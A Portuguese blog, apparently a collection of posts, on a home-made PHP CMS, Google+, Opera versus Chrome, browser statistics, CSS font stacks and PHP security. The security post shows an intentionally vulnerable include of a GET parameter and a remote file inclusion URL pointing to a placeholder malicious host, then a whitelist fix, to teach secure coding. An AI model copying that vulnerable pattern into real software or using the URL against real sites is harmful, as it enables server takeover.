O meu último projecto onde apliquei tudo o que sei tem um tema peculiar e nada virado para as tecnologias. Trata-se do Site dos Provérbios e serviu de base para criar o meu próprio CMS que irá ser utilizado nos meus restantes sites.

A ideia surgiu há bastante tempo e partiu da minha avó! É verdade, ela sempre que ouvia um provérbio acabava por o escrever e eu lembrei-me de fazer um site com esse conteúdo. Fiz um formulário simples para a minha namorada ir inserindo o conteúdo mas como tive falta de tempo acabei por ir adiando o desenvolvimento do site.

Com o código do Mais Gasolina numa lástima e com um WordPress a ficar cada vez mais pesado decidi que com o Site dos Provérbios iria criar um CMS que funcionasse para todos os meus próximos projectos, com segurança e performance em mente e que fosse flexível para ser adaptado a vários tipos de sites.

Perdi algum tempo em testes de performance e a decidir qual a melhor estratégia. Foi de tal forma elaborado que até criei uma espécie de manual com regras sobre a formatação do código, a nomenclatura usada para as classes e uma lista de pontos a verificar antes de colocar um novo site em produção.

Este CMS foi programado em OOP e com o modelo MVC. E dizer isto hoje é como dizer há três anos atrás que fizeram um site da treta em Ruby-on-Rails e com Ajax e passam a ser os maiores programadores do mundo O backend também funciona todo ele por Ajax e torna-se trabalhoso porque o debug do Ajax no Opera Dragonfly é pobre. Não existe alternativa neste campo ao Firebug no Firefox.

No entanto depois de terminado é uma maravilha inserir conteúdo naquele backend e assim fico motivado para trabalhar nos meus projectos.

Tem incluído um sistema de cache que guarda o código HTML minimizado (sem tabulações nem novas linhas) e comprimido, servindo-o de imediato sem ligações ao MySQL nem nada do género. Isto reduz bastante a carga no servidor, torna o tempo de processamento mais rápido e o ficheiro mais leve.

O Site dos Provérbios é bastante simples, e mesmo o backend não tem nada de especial para ver. O que interessa mesmo é a complexidade que está por trás que torna tudo simples para mim, e acabo por conseguir lançar um projecto complexo em poucos dias, perdendo pouco tempo ou nenhum com programação.

E como se costuma dizer “Mais vale tarde do que nunca”

O Google+ (ou Plus), a rede social do Google passou a ter jogos incorporados. Títulos como Angry Birds, Bejeweled ou Bubble Island já se encontram disponíveis para jogar.

Alguns utilizadores do Google+ tinham receio que a associação de jogos à rede fosse “infantilizar” a mesma, tornando-a no Facebook. Eu próprio tinha este receio, mas felizmente a integração foi efectuada de uma forma bastante inteligente ao colocar os jogos numa secção à parte, assim como todas as mensagens relacionadas com o mesmo.

Não vão encontrar no vosso Stream ninguém a dizer que bateu um recorde no Angry Birds, esta informação fica contida à secção de jogos no Games Stream. Assim que não tiver interesse em jogos não é incomodado.

Os jogos encontram-se integrados de forma razoável na rede. No caso do Angry Birds dependendo do número de amigos a jogar e do número de estrelas que obtém, podemos ter acesso a níveis adicionais na área de Teamwork. Os restantes jogos que experimentei não têm mais nenhum tipo de integração, apenas permitindo partilhar e comparar os resultados entre amigos.

Vamos esperar para ver que novos jogos vão ser desenvolvidos e se o Angry Birds vai ter novos níveis específicos para o Google+.

O Google+ (ou Plus) é a nova rede social do Google. Ao contrário do Buzz que teve poucos utilizadores, o Google+ está bem integrado em todos os produtos do Google e tem tudo a seu favor para ser um sucesso.

Existem boas ideias vindas do Google, mas a sua execução nem sempre é a melhor. O Google Wave é um exemplo do que o email deveria ser actualmente, mas em vez de ser um produto à parte deveria estar integrado no GMail. Assim acabou por falhar.

Com o Google+ este erro foi ultrapassado e o serviço está devidamente integrado em todas as aplicações do Google. Mas o que afinal trás a mais o Google+ em relação a outras redes sociais?

Tem um aspecto sóbrio e profissional como o LinkedIn, permite que qualquer pessoa nos siga sem a nossa permissão como o Twitter mas permite que o nosso conteúdo seja partilhado apenas com quem queremos através de círculos.

O que me levou a aderir ao Google+ foi mesmo isso. Se eu quiser partilhar algo a nível público, como este post, posso-o fazer e toda a gente consegue ver este conteúdo. Se eu quiser partilhar umas fotos de uma viagem que fiz com um grupo de amigos posso partilhar apenas com o círculo que contém aqueles amigos e mais ninguém irá ver aquele conteúdo.

Por exemplo, se visitarem o meu perfil do Google+ apenas vão ver alguns posts que coloquei noutro blog, mas se o vosso perfil estiver no meu círculo de amigos já têm acesso às fotos da viagem. Isto faz sentido porque eu não quero partilhar com toda a gente conteúdo que possa ser pessoal ou de interesse apenas a um número de pessoas limitado.

É certo que no Facebook agora também se pode fazer o mesmo, mas não de uma forma tão simples e intuitiva como no Google+. O Google+ foi desenvolvido com este tipo de privacidade em mente, o Facebook foi desenvolvido a pensar numa partilha universal.

E se acham que o Google+ tem pouco movimento, não se esqueçam que “apenas” tem 20 milhões de utilizadores. E escrevo apenas entre-aspas porque para 3 semanas e só por convite não é nada mau. Também pode acontecer simplesmente estarem num círculo à parte em que ninguém partilha nada com vocês

O Opera é o meu browser. Uso-o para quase tudo no entanto passei a sugerir a outras pessoas que experimentem antes o Google Chrome.

“Blasfémia” gritam vocês, mas passo a explicar as minhas razões.

O Chrome está para o Opera como o Mac está para o PC. É utilizado por quem quer ter uma boa experiência mas não tem conhecimentos técnicos suficientes para tirar partido de uma aplicação. Sim, um Mac é uma versão dumbed down dum PC com uns ícones engraçados.

Mas esta comparação talvez não seja correcta. É que o Chrome é gratuito, deixa instalar as extensões que quiserem e não vos conota como um hipster kitty

Por ser simples de usar, seguro, garantir uma experiência a 100% em todos os sites e actualizar-se de forma simples e sem chatear o utilizador passou a ser o browser de eleição para quem quer navegar na web mas não tem conhecimentos técnicos.

O Chrome é no entanto o culpado de eu gostar cada vez menos do Opera, simplesmente porque o Opera está a tornar-se no Chrome. É verdade que o facto de alguns talentos do Opera estarem agora a trabalhar para o Google ajuda, mas não é razão para andar a copiar os outros.

O Opera sempre foi o browser inovador, as famosas tabs começaram no Opera, a sincronização de dados (favoritos, notas, etc) começaram no Opera e o fantástico Speed Dial apareceu no Opera e ainda ninguém conseguiu fazer melhor.

Existem vários browsers que aplicaram estas ideias nos seus produtos e o Opera foi continuando a inovar noutros campos. Apesar de tudo a percentagem de utilizadores do Opera sempre foi baixa.

O problema começou com as recentes alterações no interface. E se as coisas estavam a correr maravilhosamente até à versão 11.11, com a versão 11.50 estragaram tudo e agora não se percebe se o Opera tenta copiar o Chrome ou se está a fugir do Firefox.

O futuro do Opera

Com o Chrome a conquistar cada vez mais mercado e com vários produtos do Google a ignorarem a presença deste browser não vejo um grande futuro para o Opera, ficando com apenas 3% dos utilizadores. O problema é que o Opera perdeu a sua alma e desde Abril que tem vindo a perder utilizadores para o Chrome.

A adição de extensões, widgets e do Opera Unite apenas vêm complicar ainda mais esta situação. O Opera Unite não teve grande adesão, as extensões e os widgets sobrepõem-se entre si (faz lembrar o Joomla com os módulos e plug-ins) e o browser acaba por perder o seu rumo como um produto inovador.

Porque vou continuar a usar o Opera

O Opera vai continuar a ser o meu browser de eleição. O Speed Dial, o Wand e a sincronização com o Opera Link são fantásticos e nenhuma extensão para o Chrome consegue lá chegar perto. Em termos de desenvolvimento também continua a ser o ideal por respeitar à risca as recomendações da W3C tornando o meu trabalho mais simples.

Para o utilizador comum o Chrome é a escolha ideal (esqueçam o Firefox e o Internet Explorer), mas para o power user o Opera continua a ser uma boa alternativa.

Os hábitos de navegação dos portugueses mudaram pouco no segundo trimestre deste ano. As grandes novidades são mesmo os upgrades das versões dos mesmos produtos como a passagem do Windows XP para o Windows 7.

Browsers

Nos browsers existiram poucas alterações, continuando o Internet Explorer com mais de 50% do mercado e a perder alguns utilizadores para o Google Chrome.

No Opera, Chrome e Firefox as versões com mais utilizadores são sempre as últimas, fruto das actualizações automáticas destes browsers que garantem assim uma melhor experiência na Web. Os developers agradecem.

No Internet Explorer, a versão 8 continua a ser a mais usada com 65% do total de utilizadores deste browser. No entanto a versão 9 com suporte a algumas características de HTML5 e CSS3 já conta com mais utilizadores que o total da versão 6 e 7.

Sistemas Operativos

Nos sistemas operativos o Windows continua a dominar. A grande novidade é que a versão 7 do Windows está apenas a 1 ponto percentual do XP. Possivelmente no próximo trimestre esta já será a versão do Windows mais utilizada o que irá ajudar a massificar a utilização do Internet Explorer 9.

Resoluções

Nas resoluções não existem diferenças notórias, com a resolução 1024×768 a perder utilizadores lentamente.

Na maioria dos websites o que mais salta à vista é a fonte utilizada para o seu conteúdo. Uma boa fonte pode ser a diferença entre cativar um leitor ou perder uma visita porque torna o nosso conteúdo desinteressante.

Mas será que utilizamos as nossas fontes correctamente?

Existe um conjunto de fontes ou tipos de letra que são considerados seguros para utilizar na Web. Fontes como o Verdana, Tahoma e Arial podem ser usados com confiança pelos developers.

No entanto vamos desenvolver o nosso website e vamos usar aquela fonte bem gira que temos no nosso PC mas quando visualizamos o site noutro computador nada aparece de forma correcta. Temos duas opções, ou embebemos a fonte ou fornecemos uma alternativa.

Fontes embebidas – @font-face

Com o CSS3 finalmente vai passar a ser possível embeber fontes de uma forma funcional a todos os browsers. O Internet Explorer 5 já permitia isto, mas com código especifico da Microsoft como é hábito.

Desde que a fonte permita ser embebida podemos usar a mesma no nosso site. Um bom local para obter este tipo de fontes é o Google Web Fonts.

Esta é uma forma de garantir que o nosso design em termos tipográficos é semelhante em todas as máquinas, tenham o tipo de letra ou não. O problema é que em certas fontes isto implica descarregar até 200KB de informação e isto não faz sentido para um site generalista, talvez para um portfolio ou mesmo um blog pessoal como este.

Fontes alternativas – CSS Font Stacks

Um font stack é uma lista de fontes que são utilizadas caso o computador de quem nos visita não tenha a fonte inicial que definimos. Um exemplo definido pelo Dreamweaver:

1. div { font-family: Verdana, Geneva, sans-serif }

Se o utilizador não tiver a fonte Verdana instalada irá visualizar o site com a fonte Geneva. Se também não tiver esta fonte o conteúdo é apresentado pela fonte padrão do sistema operativo do tipo sans-serif.

Mas para definirmos fontes alternativas temos que saber que outro tipo de fontes semelhantes existem. O site Typetester é uma óptima ferramenta para esta função, colocando 3 blocos de texto lado a lado permitindo assim escolher várias fontes e comparar o tamanho e aspecto ocupado por cada uma.

Já sabemos as fontes semelhantes, mas será que elas estão disponíveis em todos os sistemas? Mais de 92% dos utilizadores na web usam Windows, o que facilita o trabalho, mas não nos podemos esquecer dos restantes 8%. E é necessário ter em conta que diferentes sites têm diferentes públicos e um site dedicado a Mac ou Linux certamente terá mais visitas destes sistemas operativos.

E aqui entra outra ferramenta, ou melhor um conjunto delas fornecido pelo site Code Style. Aqui podem submeter as fontes que têm instaladas para estatística, visualizar a disponibilidade das fontes em vários sistemas operativos e até criar font stacks com a indicação da percentagem de utilizadores com aquela fonte disponível.

Com estas duas ferramentas podemos por exemplo criar a alternativa ao código anterior fornecido pelo Dreamweaver com o seguinte:

1. div { font-family: Verdana, Geneva, "Lucida Sans", "DejaVu Sans", sans-serif }

O Verdana será visualizado por 99% dos utilizadores com Windows e Mac e por 70% dos utilizadores com Linux. O Geneva será visualizado por uma minoria com Mac e as fontes Lucida Sans e DejaVu Sans serão utilizadas pelos restantes 30% dos utilizadores em Linux.

Fontes e dispositivos móveis

Para dispositivos móveis a história é outra. No caso do Android navega-se com Droid Sans e mesmo o Opera Mini limita o tipo de fontes utilizado. Aqui as fontes são optimizadas para pequenos ecrãs e embora o resultado a nível estético não seja o melhor o texto fica legível de uma forma agradável.

Os programadores de PHP têm má fama pelos erros que fizeram no passado. Até eu já programei de forma incorrecta. Mas o PHP 4 está morto e enterrado e o PHP 5.2 já lá vai.

Está na altura de mudarmos os nossos métodos e programarmos PHP com segurança em mente.

Já partilhei anteriormente umas dicas para tornar o nosso código devidamente formatado a pensar no futuro, agora partilho algumas dicas de segurança.

Com a quantidade de código que me passa pelas mãos e pelo contacto com alguns “programadores” o que percebo é que a segurança é da responsabilidade do servidor e nunca do programador. Uma firewall serve para bloquear IP’s e portas e o Mod Security é uma solução de último recurso e não deve ser utilizada como método de protecção.

O servidor onde possuem o vosso código é vosso? Têm controle sobre a sua configuração ou estão dependentes de um ISP num alojamento partilhado?

Quem programa à espera que um servidor seja seguro facilmente é atacado, especialmente quando não têm conhecimento das configurações e alterações efectuadas.

Exemplo de injecção de código

Ora, vamos supor que eu tenho um site com o seguinte código:

1
2
3
4
5

<?php
  include $_GET['pagina'] . '.php';
?>

Tudo muito inocente. Se eu aceder a site.com/index.php?pagina=contacto vou incluir o ficheiro contacto.php. Mas se o servidor onde me encontro tiver a opção allow_url_fopen activa isto é uma porta aberta a ataques.

Basta aceder a site.com/index.php?pagina=http://www.sitemalicioso.com/hack.php? e o vosso site está agora a correr o meu código e eu fiquei com acesso ao servidor.

Podem dizer que o allow_url_fopen é perigoso e devia ser desactivado, mas falham completamente o ponto. O código não é seguro.

A solução passa por criar uma whitelist com os nomes dos ficheiros que permitimos que sejam incluídos (por exemplo num Array ou numa base de dados) e uma verificação através de um RegEx que apenas permita caracteres alfanuméricos. Podemos até usar um simples switch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

<?php
  // Definimos a página inicial

  $pagina = 'homepage';

  // Se existir um pedido $_GET['pagina'] verificamos a whitelist

  if ( isset($_GET['pagina']) ) {

    switch ($_GET['pagina']) {
      case 'contacto':
        $pagina = 'contacto';
        break;
      case 'quemsomos':
        $pagina = 'quemsomos';
        break;
    }

  }

  // Inclui o ficheiro

  include $pagina . '.php';
?>

Tudo o que é indicado pelo utilizador é perigoso

Todo o conteúdo submetido ao nosso script através de GET ou POST é e deve ser considerado perigoso. De boas intenções está o mundo cheio, já diz o provérbio, e com os utilizadores de um site aplica-se a mesma coisa.

Os ataques de injecção ao MySQL existem por isso mesmo, excesso de confiança. Lá apareceram funções para servirem como soluções rápidas, mas os programadores preguiçosos usaram isto como solução definitiva e deixam a segurança nas mãos de terceiros. Um bom exemplo é a opção magic_quotes que quando desactivada deixa um script aberto a injecções porque está mal programado.

Felizmente apareceu o mysql_real_escape_string que veio facilitar a vida a quem não sabe usar um addslashes e com o PDO então é uma maravilha fazer a validação de campos de forma rápida e eficiente.

Se controlamos tudo o que pode ser alterado pelo utilizador (inclusive links) é meio caminho andado para manter a nossa aplicação segura contra ataques comuns e worms ou trojans que se mantêm activos pela web à procura destas falhas.

Manter o nosso código seguro

Sempre que estamos a programar devemos perguntar a nós próprios: Um utilizador consegue alterar os dados aqui presentes? Será que este método é seguro?

E se vamos usar uma nova funcionalidade devemos procurar se existem possíveis falhas de segurança que possam advir da sua má utilização, os chamados pitfalls.

Não devemos também colocar uma solução online sem a tentar atacar primeiro. Como é que eu sei que um método de segurança funciona se não o tento ultrapassar?

E não pensem que isto serve apenas para utilizadores avançados porque não têm conhecimentos sobre este tema. Uma rápida pesquisa pelo Google vai encontrar milhões de exemplos de código seguro e funções para evitar ataques ao vosso código. Basta copiar alguns exemplos, testar localmente e adaptar às vossas necessidades e mesmo o manual do PHP vai ajudar nestas situações.